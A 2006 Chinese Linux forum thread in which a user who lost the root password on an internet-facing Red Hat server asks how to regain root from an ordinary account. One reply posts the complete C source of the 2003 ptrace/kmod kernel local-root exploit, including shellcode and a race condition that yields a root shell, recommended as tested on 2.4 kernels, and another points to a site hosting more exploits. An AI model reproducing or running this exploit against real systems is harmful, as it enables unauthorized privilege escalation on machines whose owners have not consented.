LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 2324|回复: 12

忘记red hat的root密码,只有普通用户密码怎么办?--接触不到本机

[复制链接]
发表于 2006-8-16 09:39:01 | 显示全部楼层 |阅读模式
有一台设备挂在公网上,root密码被黑掉了,现在只有普通用户可以进系统,该怎么获得root密码?
发表于 2006-8-17 00:14:04 | 显示全部楼层
溢出?》》》》》》》》》》》》》
回复 支持 反对

使用道具 举报

 楼主| 发表于 2006-8-17 00:18:52 | 显示全部楼层
Post by brokencluster
溢出?》》》》》》》》》》》》》


这个。。。能不能详细一点,谢谢,本人只是知道Linux操作的基本命令。
回复 支持 反对

使用道具 举报

发表于 2006-8-17 00:28:15 | 显示全部楼层
是说你可以采用缓冲区溢出的方法,这是cracker们最常用的方法了
不过如果你的系统安全工作比较好,这可能没用了,你不是cracker,就更没用了

你现在必须在设备面前,使用单用户模式,就可以修改root密码
回复 支持 反对

使用道具 举报

 楼主| 发表于 2006-8-18 14:21:36 | 显示全部楼层
Post by ProgramFan
是说你可以采用缓冲区溢出的方法,这是cracker们最常用的方法了
不过如果你的系统安全工作比较好,这可能没用了,你不是cracker,就更没用了

你现在必须在设备面前,使用单用户模式,就可以修改root密码



问题已经解决,多谢楼上各位。
回复 支持 反对

使用道具 举报

发表于 2006-8-24 21:33:18 | 显示全部楼层
找个相对内核的exploit就行了。
回复 支持 反对

使用道具 举报

发表于 2006-8-30 19:01:22 | 显示全部楼层
试试这个吧,我用过,没问题的.内核2.4下有效.

/*
* Linux kernel ptrace/kmod local root exploit
*
* This code exploits a race condition in kernel/kmod.c, which creates
* kernel thread in insecure manner. This bug allows to ptrace cloned
* process, allowing to take control over privileged modprobe binary.
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
        "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
        "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
        "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
        "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
        "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
        perror(msg);
        kill(parent, SIGKILL);
        kill(child, SIGKILL);
        kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
        char buf[MAXPATHLEN + CODE_SIZE];
        unsigned long * src;
        int i, len;

        memcpy(buf, cliphcode, CODE_SIZE);
        len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
        if (len == -1)
                fatal("[-] Unable to read /proc/self/exe");

        len += CODE_SIZE + 1;
        buf[len] = '\0';
       
        src = (unsigned long*) buf;
        for (i = 0; i < len; i += 4)
                if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
                        fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
        struct user_regs_struct regs;

        if (gotchild++ == 0)
                return;
       
        fprintf(stderr, "[+] Signal caught\n");

        if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
                fatal("[-] Unable to read registers");
       
        fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
       
        putcode((unsigned long *)regs.eip);

        fprintf(stderr, "[+] Now wait for suid shell...\n");

        if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
                fatal("[-] Unable to detach from victim");

        exit(0);
}

void sigalrm(int signo)
{
        errno = ECANCELED;
        fatal("[-] Fatal error");
}

void do_child(void)
{
        int err;

        child = getpid();
        victim = child + 1;

        signal(SIGCHLD, sigchld);

        do
                err = ptrace(PTRACE_ATTACH, victim, 0, 0);
        while (err == -1 && errno == ESRCH);

        if (err == -1)
                fatal("[-] Unable to attach");

        fprintf(stderr, "[+] Attached to %d\n", victim);
        while (!gotchild) ;
        if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
                fatal("[-] Unable to setup syscall trace");
        fprintf(stderr, "[+] Waiting for signal\n");

        for(;;);
}

void do_parent(char * progname)
{
        struct stat st;
        int err;
        errno = 0;
        socket(AF_SECURITY, SOCK_STREAM, 1);
        do {
                err = stat(progname, &st);
        } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
       
        if (err == -1)
                fatal("[-] Unable to stat myself");

        alarm(0);
        system(progname);
}

void prepare(void)
{
        if (geteuid() == 0) {
                initgroups("root", 0);
                setgid(0);
                setuid(0);
                execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
                fatal("[-] Unable to spawn shell");
        }
}

int main(int argc, char ** argv)
{
        prepare();
        signal(SIGALRM, sigalrm);
        alarm(10);
       
        parent = getpid();
        child = fork();
        victim = child + 1;
       
        if (child == -1)
                fatal("[-] Unable to fork");

        if (child == 0)
                do_child();
        else
                do_parent(argv[0]);

        return 0;
}
回复 支持 反对

使用道具 举报

发表于 2006-8-30 22:17:27 | 显示全部楼层
www.xfocus.net
上边有各种溢出程序,包括kernel2.6的。
我已经用过了,很好用
回复 支持 反对

使用道具 举报

发表于 2006-9-16 08:28:17 | 显示全部楼层
Post by huyongzs
找个相对内核的exploit就行了。


嘿嘿,huyongzs,我来了

准确的说应该是根据系统本身的版本找个localroot exp就可以了:)
回复 支持 反对

使用道具 举报

发表于 2006-9-16 15:39:32 | 显示全部楼层
Post by 包子
嘿嘿,huyongzs,我来了

准确的说应该是根据系统本身的版本找个localroot exp就可以了:)

你好,包子大哥,注册比我早,发的帖子比我少,精华竟然有16篇.
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表